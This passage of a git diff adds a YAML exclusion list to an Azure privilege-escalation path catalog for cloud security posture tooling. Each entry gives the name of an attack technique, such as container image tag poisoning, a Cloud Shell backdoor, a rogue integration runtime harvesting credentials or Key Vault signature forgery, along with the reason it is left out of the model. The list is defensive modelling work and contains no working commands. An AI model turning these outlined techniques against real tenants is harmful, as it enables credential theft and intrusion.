data" + reason: "User data is not executed by the platform; only guest software that reads it could act on it, which is not derivable." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#custom-data + technique: "Custom data" + reason: "Custom data runs only at provisioning; the new-VM case is covered by azure-vm-create-with-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#run-command + technique: "Run Command" + reason: "Covered by azure-vm-runcommand-action." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-managed-identity-token-privesc.md#virtual-machines + technique: "Virtual Machines" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-managed-identity-token-privesc.md#managed-identity-access-from-inside-the-vm + technique: "Managed Identity Access From Inside the VM" + reason: "Background section. IMDS token issuance is the outcome of the VM code-execution entries." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#azure-vmware-solution + technique: "Azure VMware Solution" + reason: "Introductory section." diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml new file mode 100644 index 0000000000..377364787a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml @@ -0,0 +1,922 @@ +# Excluded from the active Azure principal escalation catalog. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#cloudadmin--nsx-t-credential-disclosure-listadmincredentials + source_revision: 171e422 + technique: Read AVS vCenter CloudAdmin and NSX-T admin credentials + original_id: azure-avs-list-admin-credentials + reason: 'The historical selector merged vCenter CloudAdmin and NSX-T admin into one private-cloud resource proxy. Narrow typed variants now require each exact subject, usable credential, and observed newly authorized action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-identity-grants-without-reading-credentials-scriptexecutionswrite + historical_source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-rce-without-reading-credentials-scriptexecutionswrite + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + technique: AVS Run Command script execution + original_id: azure-avs-run-command-script-execution + reason: 'The historical selector merged conditional Run Command effects into a private-cloud resource proxy. A narrow typed vCenter variant now requires a successful grant to an exact subject and newly authorized action; NSX-T and non-grant cmdlets remain unmodelled.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-devops-pools-privesc.md#bind-a-privileged-identity-to-a-pool-poolswrite--rce-as-identity-via-cicd-jobs + technique: Attach a user-assigned identity to a Managed DevOps Pool + original_id: azure-devopspool-assign-user-assigned-identity + reason: Assigning a UAMI to a pool does not let the source run code as it; the separate CI job queue or agent-image control needed to use the identity is not declared or verified by this entry. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#privesc + technique: Change user attributes referenced by a dynamic membership rule + original_id: azure-entraid-dynamic-group-attribute-control + reason: The selector accepts every dynamic group with a membership rule; it does not verify that the source controls the affected user, can write a referenced attribute, or can make that specific rule true. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#privesc + technique: Invite a guest that satisfies a dynamic membership rule + original_id: azure-entraid-dynamic-group-guest-invite + reason: The selector accepts every dynamic group with a membership rule; it does not verify that an invited guest can satisfy the exact rule or that the source controls that guest principal. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#guest-self-enrolment-via-loose-auto-assignment-rule-privesc + technique: Invite a guest that matches a loose access-package auto-assignment rule + original_id: azure-entraid-access-package-guest-auto-assignment + reason: The policy selector only screens broad rule text and linked resources; it cannot verify that the source controls a guest who satisfies the rule and receives the named group permissions. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#read-configured-third-party-credentials + technique: 'Terminal configuration disclosure: app services' + original_id: azure-app-services-read-configured-third-party-credentials + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#cluster--client-certificate-theft--data-plane-admin + technique: 'Terminal configuration disclosure: service fabric' + original_id: azure-audit-cluster-client-certificate-theft-data-plane-admin + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-connector-post-exploitation.md#read-connection-configuration-to-exfiltrate-the-backing-secret + technique: 'Terminal configuration disclosure: service linker' + original_id: azure-service-linker-read-connection-configuration-to-exfiltrate-the-backing-secret + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#config-server--bindings--secret-exposure + technique: 'Terminal configuration disclosure: spring apps' + original_id: azure-spring-apps-config-server-bindings-secret-exposure + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#microsoftappplatformspringapmslistsecretkeysaction + technique: 'Terminal configuration disclosure: spring apps' + original_id: azure-spring-apps-microsoftappplatformspringapmslistsecretkeysaction + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#microsoftappagentsdataconnectorslistsecretsaction + technique: 'Terminal configuration disclosure: sre agent' + original_id: azure-sre-agent-microsoftappagentsdataconnectorslistsecretsaction + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#microsoftappagentslistsecretsaction + technique: 'Terminal configuration disclosure: sre agent' + original_id: azure-sre-agent-microsoftappagentslistsecretsaction + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#authorization-rule-key-disclosure-and-rotation + technique: Authorization-rule key disclosure and rotation + original_id: azure-audit-authorization-rule-key-disclosure-and-rotation + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#listtestkeys--public-test-endpoints + technique: listTestKeys / public test endpoints + original_id: azure-audit-listtestkeys-public-test-endpoints + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#microsoftappplatformspringregeneratetestkeyaction + technique: Microsoft.AppPlatform/Spring/regenerateTestKey/action + original_id: azure-audit-microsoftappplatformspringregeneratetestkeyaction + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewpolicyelementswrite--purview-access-policies-into-governed-sqlstorage + technique: Microsoft.Purview/policyElements/write — Purview access policies into governed SQL/Storage + original_id: azure-audit-microsoftpurviewpolicyelementswrite-purview-access-policies-into-governe + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesauthorizationruleswrite + technique: Microsoft.ServiceBus/namespaces/AuthorizationRules/write + original_id: azure-audit-microsoftservicebusnamespacesauthorizationruleswrite + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesdisasterrecoveryconfigsauthorizationruleslistkeysaction + technique: Microsoft.ServiceBus/namespaces/disasterRecoveryConfigs/authorizationRules/listkeys/action + original_id: azure-audit-microsoftservicebusnamespacesdisasterrecoveryconfigsauthorizationrulesli + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action + original_id: azure-audit-microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysactio + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistaccountsasaction + technique: Microsoft.Storage/storageAccounts/listAccountSas/action + original_id: azure-audit-microsoftstoragestorageaccountslistaccountsasaction + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistkeysaction + technique: Microsoft.Storage/storageAccounts/listkeys/action + original_id: azure-audit-microsoftstoragestorageaccountslistkeysaction + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistservicesasaction + technique: Microsoft.Storage/storageAccounts/listServiceSas/action + original_id: azure-audit-microsoftstoragestorageaccountslistservicesasaction + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsregeneratekeyaction + technique: Microsoft.Storage/storageAccounts/regenerateKey/action + original_id: azure-audit-microsoftstoragestorageaccountsregeneratekeyaction + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteslistsecretsaction + technique: Microsoft.Web/staticSites/listSecrets/action + original_id: azure-audit-microsoftwebstaticsiteslistsecretsaction + reason: "NEEDS SCHEMA: Exact deployment key subject, usability, and newly permitted deployment action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#unity-catalog-storage-credential--external-location-abuse + technique: Obtain temporary Azure Storage authority through Unity Catalog + original_id: azure-databricks-uc-temporary-storage-credential + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#hns-acl-takeover-and-blob-super-user-data-action + technique: Rewrite ADLS Gen2 path ACLs for new access + original_id: azure-storage-hns-acl-takeover-and-blob-super-user-data-action + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsaction + technique: Rewrite Azure Files NTFS ACLs for new access + original_id: azure-storage-microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsact + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#naa--broci-nested-app-authentication--broker-client-injection + technique: Redeem a broker-context refresh token as another first-party client and resource + original_id: azure-v3-03-redeem-a-broker-context-refresh-token-as-another-first + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#managed-namespace-credential-retrieval + technique: Managed namespace credential retrieval + original_id: azure-v3-24-managed-namespace-credential-retrieval + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#authorization-rule-key-disclosure + technique: Event Hubs rule keys + original_id: azure-v3-29-event-hubs-rule-keys + reason: "NEEDS SCHEMA: bind the named Event Hubs authorization rule, returned SAS key, enabled local auth, successful key use, and a Send/Listen/Manage capability the caller lacked before key recovery." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#direct-entra-authenticated-event-read-and-injection + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Event Hubs send/receive + original_id: azure-v3-30-event-hubs-send-receive + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#create-an-entity-sas-policy-and-recover-its-generated-key + technique: Event Hubs entity SAS + original_id: azure-v3-31-event-hubs-entity-sas + reason: "NEEDS SCHEMA: prove the exact new entity SAS rule, its rights, returned key, successful use, and a new effective permission absent from the caller before rule creation." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#geo-disaster-recovery-alias-key-disclosure + technique: Event Hubs Geo-DR alias keys + original_id: azure-v3-32-event-hubs-geo-dr-alias-keys + reason: "NEEDS SCHEMA: bind the exact Geo-DR alias rule and returned SAS key to successful use and new effective rights absent from the caller." +- source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#covert-consumer-group--silent-stream-tap-consumergroupswrite + technique: Covert consumer group — silent stream tap (consumergroups/write) + original_id: azure-v3-34-covert-consumer-group-silent-stream-tap-consumergroups + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#geo-dr-alias-redirection-persistence-disasterrecoveryconfigswrite + technique: Geo-DR alias redirection persistence (disasterRecoveryConfigs/write) + original_id: azure-v3-35-geo-dr-alias-redirection-persistence-disasterrecoveryc + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#capture-archive-as-a-durable-exfil-feed-eventhubswrite + technique: Capture archive as a durable exfil feed (eventhubs/write) + original_id: azure-v3-36-capture-archive-as-a-durable-exfil-feed-eventhubs-writ + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#self-minted-entity-sas-rule--durable-bearer-credential + technique: Self-minted entity SAS rule — durable bearer credential + original_id: azure-v3-37-self-minted-entity-sas-rule-durable-bearer-credential + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#re-enable-local-sas-authentication-disablelocalauthfalse + technique: Re-enable local SAS authentication (disableLocalAuth=false) + original_id: azure-v3-38-re-enable-local-sas-authentication-disablelocalauth-fa + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + technique: managedNamespaces/listCredential and clusterMonitoringUser credential retrieval + original_id: azure-v3-40-managednamespaces-listcredential-and-clustermonitoring + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md#microsoftstoragestorageaccountsfileservicesfilesharesfileswrite-microsoftstoragestorageaccountsfileserviceswritefilebackupsemanticsaction + technique: File share overwrite + original_id: azure-v3-09-file-share-overwrite + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-cost-management-persistence.md#budget-triggered-action-group-as-a-persistent-trigger + technique: Budget Action Group + original_id: azure-v3-10-budget-action-group + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-monitor-persistence.md#alert-rule--action-group-as-a-trigger-you-own + technique: Alert Action Group + original_id: azure-v3-11-alert-action-group + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#abusing-alert-automation-turning-a-defence-into-an-execution-surface + technique: Alert automation + original_id: azure-v3-12-alert-automation + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-databricks-persistence.md#global-init-scripts--workspace-wide-persistent-rce + technique: Databricks global init scripts + original_id: azure-v3-13-databricks-global-init-scripts + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieslistcredentialsaction + technique: ACR listCredentials passive tag poison + original_id: azure-v3-14-acr-listcredentials-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesregeneratecredentialaction + technique: ACR regenerateCredential passive tag poison + original_id: azure-v3-15-acr-regeneratecredential-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesgeneratecredentialsaction + technique: ACR token generateCredentials passive tag poison + original_id: azure-v3-16-acr-token-generatecredentials-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesimportimageaction + technique: ACR importImage passive tag poison + original_id: azure-v3-17-acr-importimage-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskrunswrite + technique: ACR taskruns/write passive tag poison + original_id: azure-v3-18-acr-taskruns-write-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesschedulerunaction + technique: ACR scheduleRun passive tag poison + original_id: azure-v3-19-acr-schedulerun-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#mutable-image-tag-poisoning-with-repository-content-permissions + technique: Mutable image tag passive consumers + original_id: azure-v3-20-mutable-image-tag-passive-consumers + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriescacheruleswrite-credentialsetswrite--cache-rule-redirect--supply-chain + technique: ACR cache rule redirect + original_id: azure-v3-21-acr-cache-rule-redirect + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#microsoftcontainerregistryregistriespushwrite + technique: ACR push/write passive consumers + original_id: azure-v3-22-acr-push-write-passive-consumers + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-image-builder-persistence.md#golden-image--supply-chain-persistence + technique: Gallery golden image + original_id: azure-v3-25-gallery-golden-image + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#backdoor-vm-applications-vm-extensions--images + technique: Gallery image/application backdoor + original_id: azure-v3-26-gallery-image-application-backdoor + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#vm-application-pivoting + technique: VM Application version poison + original_id: azure-v3-27-vm-application-version-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#common-techniques + technique: AVD session-host configuration + original_id: azure-v3-28-avd-session-host-configuration + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsjobswrite-microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsjobsoutputread-microsoftautomationautomationaccountsrunbookspublishaction-microsoftresourcessubscriptionsresourcegroupsread-microsoftautomationautomationaccountsrunbookswrite + technique: Decrypt Automation credential/variable assets from runbook code + original_id: azure-automation-runbook-credential-assets + reason: The credential asset contents and target principal are unknown; the entry explicitly proposes an aggregate + conditional node without a verified usable credential. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsjobswrite-microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsjobsoutputread-microsoftautomationautomationaccountsrunbookspublishaction-microsoftresourcessubscriptionsresourcegroupsread-microsoftautomationautomationaccountsrunbookswrite + technique: Decrypt Automation credential assets holding user passwords from runbook code + original_id: azure-automation-runbook-credential-assets-user + reason: The credential asset contents and target principal are unknown; the entry explicitly proposes an aggregate + conditional node without a verified usable credential. +- source: src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md#cloud-shell-phishing + technique: Backdoor another user's persisted Cloud Shell home image + original_id: azure-cloudshell-home-image-backdoor + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md#azure-cli-artifacts-in-persistent-storage + technique: Read another user's Azure CLI token cache from their persisted Cloud Shell home + original_id: azure-cloudshell-home-token-cache-read + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#rogue-self-hosted-integration-runtime-as-a-credential-relay + technique: Bootstrap Purview Data Source Admin and receive scan credentials on a rogue self-hosted integration + runtime + original_id: azure-purview-rogue-shir-scan-credentials + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#rogue-self-hosted-integration-runtime-node-synapse + technique: Register a rogue Synapse self-hosted integration runtime node and receive linked-service credentials + original_id: azure-synapse-rogue-shir-linked-service-credentials + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-center-privesc.md#stored-credential-disclosure-getcredentials + technique: Read credentials stored in an API Center security requirement + original_id: azure-apicenter-security-requirement-get-credentials + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebconnectionsaccesspolicieswrite---grant-a-workflow-use-of-unreadable-connection-credentials + technique: Authorize a controlled Standard workflow to use an existing V2 API connection + original_id: azure-logicapp-connection-access-policy-write + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebconnectionslistconnectionkeysaction---steal-an-api-connections-runtime-credential + technique: Export an API connection's runtime connection key + original_id: azure-logicapp-connection-list-connection-keys + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappslistsecretsaction + technique: Read the inline secrets of a Container App + original_id: azure-containerapp-list-secrets + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappjobsread-microsoftappjobslistsecretsaction + technique: Read the inline secrets of a Container Apps Job + original_id: azure-containerapp-job-list-secrets + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappmanagedenvironmentsdaprcomponentslistsecretsaction + technique: Read the inline secrets of a Container Apps Dapr component + original_id: azure-containerapp-dapr-component-list-secrets + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsandboxgroupssecretspeekaction + technique: Read the cleartext values of an ACA Sandbox secret + original_id: azure-containerapp-sandbox-secret-peek + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesconnectionslistsecretsaction-microsoftmachinelearningservicesworkspacesdatastoreslistsecretsaction + technique: Read secrets of Azure ML / Foundry connections and datastores + original_id: azure-ml-connection-secrets + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#ai-foundry-shared-connection-credential-recovery + technique: Recover a Foundry account-level connection credential through AIServices data actions + original_id: azure-foundry-shared-connection-secrets + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceidentityproviderslistsecretsaction + technique: Read the Entra application secret of an APIM identity provider + original_id: azure-apim-identity-provider-secret + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceauthorizationserverslistsecretsaction + technique: Read OAuth client secrets stored in APIM authorization servers / OpenID providers + original_id: azure-apim-oauth-server-secret + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicenamedvaluesread--microsoftapimanagementservicenamedvalueslistvalueaction + technique: Read APIM Named Value secrets + original_id: azure-apim-named-value-secret + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#microsoftkeyvaultvaultsaccesspolicieswrite-microsoftkeyvaultvaultsread + technique: Read Key Vault secrets/certificates containing service-principal credentials + original_id: azure-keyvault-secret-read-sp-credentials + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#forge-signatures-with-microsoftkeyvaultvaultskeyssignaction + technique: Sign a service-principal client assertion with a vault-held certificate key + original_id: azure-keyvault-key-sign-sp-client-assertion + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#microsoftkeyvaultvaultsdeployaction--microsoftresourcesdeploymentswrite + technique: Resolve a Key Vault secret through an ARM template deployment + original_id: azure-keyvault-template-deployment-secret-reference + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: 